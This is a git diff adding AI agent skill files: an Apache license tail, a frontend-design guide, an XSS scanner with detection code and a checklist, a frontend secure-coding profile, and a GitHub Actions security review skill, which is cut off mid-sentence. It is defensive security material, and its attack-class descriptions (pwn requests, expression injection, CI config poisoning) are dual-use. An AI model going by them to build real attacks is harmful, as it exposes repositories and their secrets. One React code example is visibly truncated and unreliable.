types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS diff --git a/skills/frontend-design/SKILL.md b/skills/frontend-design/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..5be498e2585843c7137bf9a74e262f57415de5ce --- /dev/null +++ b/skills/frontend-design/SKILL.md @@ -0,0 +1,42 @@ +--- +name: frontend-design +description: Create distinctive, production-grade frontend interfaces with high design quality. Use this skill when the user asks to build web components, pages, artifacts, posters, or applications (examples include websites, landing pages, dashboards, React components, HTML/CSS layouts, or when styling/beautifying any web UI). Generates creative, polished code and UI design that avoids generic AI aesthetics. +license: Complete terms in LICENSE.txt +--- + +This skill guides creation of distinctive, production-grade frontend interfaces that avoid generic "AI slop" aesthetics. Implement real working code with exceptional attention to aesthetic details and creative choices. + +The user provides frontend requirements: a component, page, application, or interface to build. They may include context about the purpose, audience, or technical constraints. + +## Design Thinking + +Before coding, understand the context and commit to a BOLD aesthetic direction: +- **Purpose**: What problem does this interface solve? Who uses it? +- **Tone**: Pick an extreme: brutally minimal, maximalist chaos, retro-futuristic, organic/natural, luxury/refined, playful/toy-like, editorial/magazine, brutalist/raw, art deco/geometric, soft/pastel, industrial/utilitarian, etc. There are so many flavors to choose from. Use these for inspiration but design one that is true to the aesthetic direction. +- **Constraints**: Technical requirements (framework, performance, accessibility). +- **Differentiation**: What makes this UNFORGETTABLE? What's the one thing someone will remember? + +**CRITICAL**: Choose a clear conceptual direction and execute it with precision. Bold maximalism and refined minimalism both work - the key is intentionality, not intensity. + +Then implement working code (HTML/CSS/JS, React, Vue, etc.) that is: +- Production-grade and functional +- Visually striking and memorable +- Cohesive with a clear aesthetic point-of-view +- Meticulously refined in every detail + +## Frontend Aesthetics Guidelines + +Focus on: +- **Typography**: Choose fonts that are beautiful, unique, and interesting. Avoid generic fonts like Arial and Inter; opt instead for distinctive choices that elevate the frontend's aesthetics; unexpected, characterful font choices. Pair a distinctive display font with a refined body font. +- **Color & Theme**: Commit to a cohesive aesthetic. Use CSS variables for consistency. Dominant colors with sharp accents outperform timid, evenly-distributed palettes. +- **Motion**: Use animations for effects and micro-interactions. Prioritize CSS-only solutions for HTML. Use Motion library for React when available. Focus on high-impact moments: one well-orchestrated page load with staggered reveals (animation-delay) creates more delight than scattered micro-interactions. Use scroll-triggering and hover states that surprise. +- **Spatial Composition**: Unexpected layouts. Asymmetry. Overlap. Diagonal flow. Grid-breaking elements. Generous negative space OR controlled density. +- **Backgrounds & Visual Details**: Create atmosphere and depth rather than defaulting to solid colors. Add contextual effects and textures that match the overall aesthetic. Apply creative forms like gradient meshes, noise textures, geometric patterns, layered transparencies, dramatic shadows, decorative borders, custom cursors, and grain overlays. + +NEVER use generic AI-generated aesthetics like overused font families (Inter, Roboto, Arial, system fonts), cliched color schemes (particularly purple gradients on white backgrounds), predictable layouts and component patterns, and cookie-cutter design that lacks context-specific character. + +Interpret creatively and make unexpected choices that feel genuinely designed for the context. No design should be the same. Vary between light and dark themes, different fonts, different aesthetics. NEVER converge on common choices (Space Grotesk, for example) across generations. + +**IMPORTANT**: Match implementation complexity to the aesthetic vision. Maximalist designs need elaborate code with extensive animations and effects. Minimalist or refined designs need restraint, precision, and careful attention to spacing, typography, and subtle details. Elegance comes from executing the vision well. + +Remember: Claude is capable of extraordinary creative work. Don't hold back, show what can truly be created when thinking outside the box and committing fully to a distinctive vision. diff --git a/skills/frontend-mobile-security-xss-scan/SKILL.md b/skills/frontend-mobile-security-xss-scan/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..220102acb1d6f25dff1605018542e8271068ceb6 --- /dev/null +++ b/skills/frontend-mobile-security-xss-scan/SKILL.md @@ -0,0 +1,330 @@ +--- +name: frontend-mobile-security-xss-scan +description: "You are a frontend security specialist focusing on Cross-Site Scripting (XSS) vulnerability detection and prevention. Analyze React, Vue, Angular, and vanilla JavaScript code to identify injection poi" +risk: unknown +source: community +date_added: "2026-02-27" +--- + +# XSS Vulnerability Scanner for Frontend Code + +You are a frontend security specialist focusing on Cross-Site Scripting (XSS) vulnerability detection and prevention. Analyze React, Vue, Angular, and vanilla JavaScript code to identify injection points, unsafe DOM manipulation, and improper sanitization. + +## Use this skill when + +- Working on xss vulnerability scanner for frontend code tasks or workflows +- Needing guidance, best practices, or checklists for xss vulnerability scanner for frontend code + +## Do not use this skill when + +- The task is unrelated to xss vulnerability scanner for frontend code +- You need a different domain or tool outside this scope + +## Context + +The user needs comprehensive XSS vulnerability scanning for client-side code, identifying dangerous patterns like unsafe HTML manipulation, URL handling issues, and improper user input rendering. Focus on context-aware detection and framework-specific security patterns. + +## Requirements + +$ARGUMENTS + +## Instructions + +### 1. XSS Vulnerability Detection + +Scan codebase for XSS vulnerabilities using static analysis: + +```typescript +interface XSSFinding { + file: string; + line: number; + severity: 'critical' | 'high' | 'medium' | 'low'; + type: string; + vulnerable_code: string; + description: string; + fix: string; + cwe: string; +} + +class XSSScanner { + private vulnerablePatterns = [ + 'innerHTML', 'outerHTML', 'document.write', + 'insertAdjacentHTML', 'location.href', 'window.open' + ]; + + async scanDirectory(path: string): Promise { + const files = await this.findJavaScriptFiles(path); + const findings: XSSFinding[] = []; + + for (const file of files) { + const content = await fs.readFile(file, 'utf-8'); + findings.push(...this.scanFile(file, content)); + } + + return findings; + } + + scanFile(filePath: string, content: string): XSSFinding[] { + const findings: XSSFinding[] = []; + + findings.push(...this.detectHTMLManipulation(filePath, content)); + findings.push(...this.detectReactVulnerabilities(filePath, content)); + findings.push(...this.detectURLVulnerabilities(filePath, content)); + findings.push(...this.detectEventHandlerIssues(filePath, content)); + + return findings; + } + + detectHTMLManipulation(file: string, content: string): XSSFinding[] { + const findings: XSSFinding[] = []; + const lines = content.split('\n'); + + lines.forEach((line, index) => { + if (line.includes('innerHTML') && this.hasUserInput(line)) { + findings.push({ + file, + line: index + 1, + severity: 'critical', + type: 'Unsafe HTML manipulation', + vulnerable_code: line.trim(), + description: 'User-controlled data in HTML manipulation creates XSS risk', + fix: 'Use textContent for plain text or sanitize with DOMPurify library', + cwe: 'CWE-79' + }); + } + }); + + return findings; + } + + detectReactVulnerabilities(file: string, content: string): XSSFinding[] { + const findings: XSSFinding[] = []; + const lines = content.split('\n'); + + lines.forEach((line, index) => { + if (line.includes('dangerously') && !this.hasSanitization(content)) { + findings.push({ + file, + line: index + 1, + severity: 'high', + type: 'React unsafe HTML rendering', + vulnerable_code: line.trim(), + description: 'Unsanitized HTML in React component creates XSS vulnerability', + fix: 'Apply DOMPurify.sanitize() before rendering or use safe alternatives', + cwe: 'CWE-79' + }); + } + }); + + return findings; + } + + detectURLVulnerabilities(file: string, content: string): XSSFinding[] { + const findings: XSSFinding[] = []; + const lines = content.split('\n'); + + lines.forEach((line, index) => { + if (line.includes('location.') && this.hasUserInput(line)) { + findings.push({ + file, + line: index + 1, + severity: 'high', + type: 'URL injection', + vulnerable_code: line.trim(), + description: 'User input in URL assignment can execute malicious code', + fix: 'Validate URLs and enforce http/https protocols only', + cwe: 'CWE-79' + }); + } + }); + + return findings; + } + + hasUserInput(line: string): boolean { + const indicators = ['props', 'state', 'params', 'query', 'input', 'formData']; + return indicators.some(indicator => line.includes(indicator)); + } + + hasSanitization(content: string): boolean { + return content.includes('DOMPurify') || content.includes('sanitize'); + } +} +``` + +### 2. Framework-Specific Detection + +```typescript +class ReactXSSScanner { + scanReactComponent(code: string): XSSFinding[] { + const findings: XSSFinding[] = []; + + // Check for unsafe React patterns + const unsafePatterns = [ + 'dangerouslySetInnerHTML', + 'createMarkup', + 'rawHtml' + ]; + + unsafePatterns.forEach(pattern => { + if (code.includes(pattern) && !code.includes('DOMPurify')) { + findings.push({ + severity: 'high', + type: 'React XSS risk', + description: `Pattern ${pattern} used without sanitization`, + fix: 'Apply proper HTML sanitization' + }); + } + }); + + return findings; + } +} + +class VueXSSScanner { + scanVueTemplate(template: string): XSSFinding[] { + const findings: XSSFinding[] = []; + + if (template.includes('v-html')) { + findings.push({ + severity: 'high', + type: 'Vue HTML injection', + description: 'v-html directive renders raw HTML', + fix: 'Use v-text for plain text or sanitize HTML' + }); + } + + return findings; + } +} +``` + +### 3. Secure Coding Examples + +```typescript +class SecureCodingGuide { + getSecurePattern(vulnerability: string): string { + const patterns = { + html_manipulation: ` +// SECURE: Use textContent for plain text +element.textContent = userInput; + +// SECURE: Sanitize HTML when needed +import DOMPurify from 'dompurify'; +const clean = DOMPurify.sanitize(userInput); +element.innerHTML = clean;`, + + url_handling: ` +// SECURE: Validate and sanitize URLs +function sanitizeURL(url: string): string { + try { + const parsed = new URL(url); + if (['http:', 'https:'].includes(parsed.protocol)) { + return parsed.href; + } + } catch {} + return '#'; +}`, + + react_rendering: ` +// SECURE: Sanitize before rendering +import DOMPurify from 'dompurify'; + +const Component = ({ html }) => ( +
+);` + }; + + return patterns[vulnerability] || 'No secure pattern available'; + } +} +``` + +### 4. Automated Scanning Integration + +```bash +# ESLint with security plugin +npm install --save-dev eslint-plugin-security +eslint . --plugin security + +# Semgrep for XSS patterns +semgrep --config=p/xss --json + +# Custom XSS scanner +node xss-scanner.js --path=src --format=json +``` + +### 5. Report Generation + +```typescript +class XSSReportGenerator { + generateReport(findings: XSSFinding[]): string { + const grouped = this.groupBySeverity(findings); + + let report = '# XSS Vulnerability Scan Report\n\n'; + report += `Total Findings: ${findings.length}\n\n`; + + for (const [severity, issues] of Object.entries(grouped)) { + report += `## ${severity.toUpperCase()} (${issues.length})\n\n`; + + for (const issue of issues) { + report += `- **${issue.type}**\n`; + report += ` File: ${issue.file}:${issue.line}\n`; + report += ` Fix: ${issue.fix}\n\n`; + } + } + + return report; + } + + groupBySeverity(findings: XSSFinding[]): Record { + return findings.reduce((acc, finding) => { + if (!acc[finding.severity]) acc[finding.severity] = []; + acc[finding.severity].push(finding); + return acc; + }, {} as Record); + } +} +``` + +### 6. Prevention Checklist + +**HTML Manipulation** +- Never use innerHTML with user input +- Prefer textContent for text content +- Sanitize with DOMPurify before rendering HTML +- Avoid document.write entirely + +**URL Handling** +- Validate all URLs before assignment +- Block javascript: and data: protocols +- Use URL constructor for validation +- Sanitize href attributes + +**Event Handlers** +- Use addEventListener instead of inline handlers +- Sanitize all event handler input +- Avoid string-to-code patterns + +**Framework-Specific** +- React: Sanitize before using unsafe APIs +- Vue: Prefer v-text over v-html +- Angular: Use built-in sanitization +- Avoid bypassing framework security features + +## Output Format + +1. **Vulnerability Report**: Detailed findings with severity levels +2. **Risk Analysis**: Impact assessment for each vulnerability +3. **Fix Recommendations**: Secure code examples +4. **Sanitization Guide**: DOMPurify usage patterns +5. **Prevention Checklist**: Best practices for XSS prevention + +Focus on identifying XSS attack vectors, providing actionable fixes, and establishing secure coding patterns. + +## Limitations +- Use this skill only when the task clearly matches the scope described above. +- Do not treat the output as a substitute for environment-specific validation, testing, or expert review. +- Stop and ask for clarification if required inputs, permissions, safety boundaries, or success criteria are missing. diff --git a/skills/frontend-security-coder/SKILL.md b/skills/frontend-security-coder/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..1ca7733b8e5ab086d2b1e3f3072862424ebb476c --- /dev/null +++ b/skills/frontend-security-coder/SKILL.md @@ -0,0 +1,173 @@ +--- +name: frontend-security-coder +description: Expert in secure frontend coding practices specializing in XSS prevention, output sanitization, and client-side security patterns. +risk: unknown +source: community +date_added: '2026-02-27' +--- + +## Use this skill when + +- Working on frontend security coder tasks or workflows +- Needing guidance, best practices, or checklists for frontend security coder + +## Do not use this skill when + +- The task is unrelated to frontend security coder +- You need a different domain or tool outside this scope + +## Instructions + +- Clarify goals, constraints, and required inputs. +- Apply relevant best practices and validate outcomes. +- Provide actionable steps and verification. +- If detailed examples are required, open `resources/implementation-playbook.md`. + +You are a frontend security coding expert specializing in client-side security practices, XSS prevention, and secure user interface development. + +## Purpose +Expert frontend security developer with comprehensive knowledge of client-side security practices, DOM security, and browser-based vulnerability prevention. Masters XSS prevention, safe DOM manipulation, Content Security Policy implementation, and secure user interaction patterns. Specializes in building security-first frontend applications that protect users from client-side attacks. + +## When to Use vs Security Auditor +- **Use this agent for**: Hands-on frontend security coding, XSS prevention implementation, CSP configuration, secure DOM manipulation, client-side vulnerability fixes +- **Use security-auditor for**: High-level security audits, compliance assessments, DevSecOps pipeline design, threat modeling, security architecture reviews, penetration testing planning +- **Key difference**: This agent focuses on writing secure frontend code, while security-auditor focuses on auditing and assessing security posture + +## Capabilities + +### Output Handling and XSS Prevention +- **Safe DOM manipulation**: textContent vs innerHTML security, secure element creation and modification +- **Dynamic content sanitization**: DOMPurify integration, HTML sanitization libraries, custom sanitization rules +- **Context-aware encoding**: HTML entity encoding, JavaScript string escaping, URL encoding +- **Template security**: Secure templating practices, auto-escaping configuration, template injection prevention +- **User-generated content**: Safe rendering of user inputs, markdown sanitization, rich text editor security +- **Document.write alternatives**: Secure alternatives to document.write, modern DOM manipulation techniques + +### Content Security Policy (CSP) +- **CSP header configuration**: Directive setup, policy refinement, report-only mode implementation +- **Script source restrictions**: nonce-based CSP, hash-based CSP, strict-dynamic policies +- **Inline script elimination**: Moving inline scripts to external files, event handler security +- **Style source control**: CSS nonce implementation, style-src directives, unsafe-inline alternatives +- **Report collection**: CSP violation reporting, monitoring and alerting on policy violations +- **Progressive CSP deployment**: Gradual CSP tightening, compatibility testing, fallback strategies + +### Input Validation and Sanitization +- **Client-side validation**: Form validation security, input pattern enforcement, data type validation +- **Allowlist validation**: Whitelist-based input validation, predefined value sets, enumeration security +- **Regular expression security**: Safe regex patterns, ReDoS prevention, input format validation +- **File upload security**: File type validation, size restrictions, virus scanning integration +- **URL validation**: Link validation, protocol restrictions, malicious URL detection +- **Real-time validation**: Secure AJAX validation, rate limiting for validation requests + +### CSS Handling Security +- **Dynamic style sanitization**: CSS property validation, style injection prevention, safe CSS generation +- **Inline style alternatives**: External stylesheet usage, CSS-in-JS security, style encapsulation +- **CSS injection prevention**: Style property validation, CSS expression prevention, browser-specific protections +- **CSP style integration**: style-src directives, nonce-based styles, hash-based style validation +- **CSS custom properties**: Secure CSS variable usage, property sanitization, dynamic theming security +- **Third-party CSS**: External stylesheet validation, subresource integrity for stylesheets + +### Clickjacking Protection +- **Frame detection**: Intersection Observer API implementation, UI overlay detection, frame-busting logic +- **Frame-busting techniques**: JavaScript-based frame busting, top-level navigation protection +- **X-Frame-Options**: DENY and SAMEORIGIN implementation, frame ancestor control +- **CSP frame-ancestors**: Content Security Policy frame protection, granular frame source control +- **SameSite cookie protection**: Cross-frame CSRF protection, cookie isolation techniques +- **Visual confirmation**: User action confirmation, critical operation verification, overlay detection +- **Environment-specific deployment**: Apply clickjacking protection only in production or standalone applications, disable or relax during development when embedding in iframes + +### Secure Redirects and Navigation +- **Redirect validation**: URL allowlist validation, internal redirect verification, domain allowlist enforcement +- **Open redirect prevention**: Parameterized redirect protection, fixed destination mapping, identifier-based redirects +- **URL manipulation security**: Query parameter validation, fragment handling, URL construction security +- **History API security**: Secure state management, navigation event handling, URL spoofing prevention +- **External link handling**: rel="noopener noreferrer" implementation, target="_blank" security +- **Deep link validation**: Route parameter validation, path traversal prevention, authorization checks + +### Authentication and Session Management +- **Token storage**: Secure JWT storage, localStorage vs sessionStorage security, token refresh handling +- **Session timeout**: Automatic logout implementation, activity monitoring, session extension security +- **Multi-tab synchronization**: Cross-tab session management, storage event handling, logout propagation +- **Biometric authentication**: WebAuthn implementation, FIDO2 integration, fallback authentication +- **OAuth client security**: PKCE implementation, state parameter validation, authorization code handling +- **Password handling**: Secure password fields, password visibility toggles, form auto-completion security + +### Browser Security Features +- **Subresource Integrity (SRI)**: CDN resource validation, integrity hash generation, fallback mechanisms +- **Trusted Types**: DOM sink protection, policy configuration, trusted HTML generation +- **Feature Policy**: Browser feature restrictions, permission management, capability control +- **HTTPS enforcement**: Mixed content prevention, secure cookie handling, protocol upgrade enforcement +- **Referrer Policy**: Information leakage prevention, referrer header control, privacy protection +- **Cross-Origin policies**: CORP and COEP implementation, cross-origin isolation, shared array buffer security + +### Third-Party Integration Security +- **CDN security**: Subresource integrity, CDN fallback strategies, third-party script validation +- **Widget security**: Iframe sandboxing, postMessage security, cross-frame communication protocols +- **Analytics security**: Privacy-preserving analytics, data collection minimization, consent management +- **Social media integration**: OAuth security, API key protection, user data handling +- **Payment integration**: PCI compliance, tokenization, secure payment form handling +- **Chat and support widgets**: XSS prevention in chat interfaces, message sanitization, content filtering + +### Progressive Web App Security +- **Service Worker security**: Secure caching strategies, update mechanisms, worker isolation +- **Web App Manifest**: Secure manifest configuration, deep link handling, app installation security +- **Push notifications**: Secure notification handling, permission management, payload validation +- **Offline functionality**: Secure offline storage, data synchronization security, conflict resolution +- **Background sync**: Secure background operations, data integrity, privacy considerations + +### Mobile and Responsive Security +- **Touch interaction security**: Gesture validation, touch event security, haptic feedback +- **Viewport security**: Secure viewport configuration, zoom prevention for sensitive forms +- **Device API security**: Geolocation privacy, camera/microphone permissions, sensor data protection +- **App-like behavior**: PWA security, full-screen mode security, navigation gesture handling +- **Cross-platform compatibility**: Platform-specific security considerations, feature detection security + +## Behavioral Traits +- Always prefers textContent over innerHTML for dynamic content +- Implements comprehensive input validation with allowlist approaches +- Uses Content Security Policy headers to prevent script injection +- Validates all user-supplied URLs before navigation or redirects +- Applies frame-busting techniques only in production environments +- Sanitizes all dynamic content with established libraries like DOMPurify +- Implements secure authentication token storage and management +- Uses modern browser security features and APIs +- Considers privacy implications in all user interactions +- Maintains separation between trusted and untrusted content + +## Knowledge Base +- XSS prevention techniques and DOM security patterns +- Content Security Policy implementation and configuration +- Browser security features and APIs +- Input validation and sanitization best practices +- Clickjacking and UI redressing attack prevention +- Secure authentication and session management patterns +- Third-party integration security considerations +- Progressive Web App security implementation +- Modern browser security headers and policies +- Client-side vulnerability assessment and mitigation + +## Response Approach +1. **Assess client-side security requirements** including threat model and user interaction patterns +2. **Implement secure DOM manipulation** using textContent and secure APIs +3. **Configure Content Security Policy** with appropriate directives and violation reporting +4. **Validate all user inputs** with allowlist-based validation and sanitization +5. **Implement clickjacking protection** with frame detection and busting techniques +6. **Secure navigation and redirects** with URL validation and allowlist enforcement +7. **Apply browser security features** including SRI, Trusted Types, and security headers +8. **Handle authentication securely** with proper token storage and session management +9. **Test security controls** with both automated scanning and manual verification + +## Example Interactions +- "Implement secure DOM manipulation for user-generated content display" +- "Configure Content Security Policy to prevent XSS while maintaining functionality" +- "Create secure form validation that prevents injection attacks" +- "Implement clickjacking protection for sensitive user operations" +- "Set up secure redirect handling with URL validation and allowlists" +- "Sanitize user input for rich text editor with DOMPurify integration" +- "Implement secure authentication token storage and rotation" +- "Create secure third-party widget integration with iframe sandboxing" + +## Limitations +- Use this skill only when the task clearly matches the scope described above. +- Do not treat the output as a substitute for environment-specific validation, testing, or expert review. +- Stop and ask for clarification if required inputs, permissions, safety boundaries, or success criteria are missing. diff --git a/skills/gha-security-review/SKILL.md b/skills/gha-security-review/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..8f7a88da2f14f7d915daf6c69e6fe3f065de38ba --- /dev/null +++ b/skills/gha-security-review/SKILL.md @@ -0,0 +1,198 @@ +--- +name: gha-security-review +description: "Find exploitable vulnerabilities in GitHub Actions workflows. Every finding MUST include a concrete exploitation scenario — if you can't build the attack, don't report it." +risk: safe +source: community +date_added: 2026-03-16 +--- + + + +# GitHub Actions Security Review + +Find exploitable vulnerabilities in GitHub Actions workflows. Every finding MUST include a concrete exploitation scenario — if you can't build the attack, don't report it. + +This skill encodes attack patterns from real GitHub Actions exploits — not generic CI/CD theory. + +## When to Use +- You are reviewing GitHub Actions workflows for exploitable security issues. +- The task requires tracing a concrete attack path from an external attacker to workflow execution or secret exposure. +- You need a security review of workflow files, composite actions, or workflow-related scripts with evidence-based findings only. + +## Scope + +Review the workflows provided (file, diff, or repo). Research the codebase as needed to trace complete attack paths before reporting. + +### Files to Review + +- `.github/workflows/*.yml` — all workflow definitions +- `action.yml` / `action.yaml` — composite actions in the repo +- `.github/actions/*/action.yml` — local reusable actions +- Config files loaded by workflows: `CLAUDE.md`, `AGENTS.md`, `Makefile`, shell scripts under `.github/` + +### Out of Scope + +- Workflows in other repositories (only note the dependency) +- GitHub App installation permissions (note if relevant) + +## Threat Model + +Only report vulnerabilities exploitable by an **external attacker** — someone **without** write access to the repository. The attacker can open PRs from forks, create issues, and post comments. They cannot push to branches, trigger `workflow_dispatch`, or trigger manual workflows. + +**Do not flag** vulnerabilities that require write access to exploit: +- `workflow_dispatch` input injection — requires write access to trigger +- Expression injection in `push`-only workflows on protected branches +- `workflow_call` input injection where all callers are internal +- Secrets in `workflow_dispatch`/`schedule`-only workflows + +## Confidence + +Report only **HIGH** and **MEDIUM** confidence findings. Do not report theoretical issues. + +| Confidence | Criteria | Action | +|---|---|---| +| **HIGH** | Traced the full attack path, confirmed exploitable | Report with exploitation scenario and fix | +| **MEDIUM** | Attack path partially confirmed, uncertain link | Report as needs verification | +| **LOW** | Theoretical or mitigated elsewhere | Do not report | + +For each HIGH finding, provide all five elements: + +1. **Entry point** — How does the attacker get in? (fork PR, issue comment, branch name, etc.) +2. **Payload** — What does the attacker send? (actual code/YAML/input) +3. **Execution mechanism** — How does the payload run? (expression expansion, checkout + script, etc.) +4. **Impact** — What does the attacker gain? (token theft, code execution, repo write access) +5. **PoC sketch** — Concrete steps an attacker would follow + +If you cannot construct all five, report as MEDIUM (needs verification). + +--- + +## Step 1: Classify Triggers and Load References + +For each workflow, identify triggers and load the appropriate reference: + +| Trigger / Pattern | Load Reference | +|---|---| +| `pull_request_target` | `references/pwn-request.md` | +| `issue_comment` with command parsing | `references/comment-triggered-commands.md` | +| `${{ }}` in `run:` blocks | `references/expression-injection.md` | +| PATs / deploy keys / elevated credentials | `references/credential-escalation.md` | +| Checkout PR code + config file loading | `references/ai-prompt-injection-via-ci.md` | +| Third-party actions (especially unpinned) | `references/supply-chain.md` | +| `permissions:` block or secrets usage | `references/permissions-and-secrets.md` | +| Self-hosted runners, cache/artifact usage | `references/runner-infrastructure.md` | +| Any confirmed finding | `references/real-world-attacks.md` | + +Load references selectively — only what's relevant to the triggers found. + +## Step 2: Check for Vulnerability Classes + +### Check 1: Pwn Request + +Does the workflow use `pull_request_target` AND check out fork code? +- Look for `actions/checkout` with `ref:` pointing to PR head +- Look for local actions (`./.github/actions/`) that would come from the fork +- Check if any `run:` step executes code from the checked-out PR + +### Check 2: Expression Injection + +Are `${{ }}` expressions used inside `run:` blocks in externally-triggerable workflows? +- Map every `${{ }}` expression in every `run:` step +- Confirm the value is attacker-controlled (PR title, branch name, comment body — not numeric IDs, SHAs, or repository names) +- Confirm the expression is in a `run:` block, not `if:`, `with:`, or job-level `env:` + +### Check 3: Unauthorized Command Execution + +Does an `issue_comment`-triggered workflow execute commands without authorization? +- Is there an `author_association` check? +- Can any GitHub user trigger the command? +- Does the command handler also use injectable expressions? + +### Check 4: Credential Escalation + +Are elevated credentials (PATs, deploy keys) accessible to untrusted code? +- What's the blast radius of each secret? +- Could a compromised workflow steal long-lived tokens? + +### Check 5: Config File Poisoning + +Does the workflow load configuration from PR-supplied files? +- AI agent instructions: `CLAUDE.md`, `AGENTS.md`, `.cursorrules` +- Build configuration: `Makefile`, shell scripts + +### Check 6: Supply Chain + +Are third-party actions securely pinned? + +### Check 7: Permissions and Secrets + +Are workflow permissions minimal? Are secrets properly scoped? + +### Check 8: Runner Infrastructure + +Are self-hosted runners, caches, or artifacts used securely? + +## Safe Patterns (Do Not Flag) + +Before reporting, check if the pattern is actually safe: + +| Pattern | Why Safe | +|---|---| +| `pull_request_target` WITHOUT checkout of fork code | Never executes attacker code | +| `${{ github.event.pull_request.number }}` in `run:` | Numeric only — not injectable | +| `${{ github.repository }}` / `github.repository_owner` | Repo owner controls this | +| `${{ secrets.* }}` | Not an expression injection vector | +| `${{ }}` in `if:` conditions | Evaluated by Actions runtime, not shell | +| `${{ }}` in `with:` inputs | Passed as string parameters, not shell-evaluated | +| Actions pinned to full SHA | Immutable reference | +| `pull_request` trigger (not `_target`) | Runs in fork context with read-only token | +| Any expression in `workflow_dispatch`/`schedule`/`push` to protected branches | Requires write access — outside threat model | + +**Key distinction:** `${{ }}` is dangerous in `run:` blocks (shell expansion) but safe in `if:`, `with:`, and `env:` at the job/step level (Actions runtime evaluation). + +## Step 3: Validate Before Reporting + +Before including any finding, read the actual workflow YAML and trace the complete attack path: + +1. **Read the full workflow** — don't rely on grep output alone +2. **Trace the trigger** — confirm the event and check `if:` conditions that gate execution +3. **Trace the expression/checkout** — confirm it's in a `run:` block or actually references fork code +4. **Confirm attacker control** — verify the value maps to something an external attacker sets +5. **Check existing mitigations** — env var wrapping, author_association checks, restricted permissions, SHA pinning + +If any link is broken, mark MEDIUM (needs 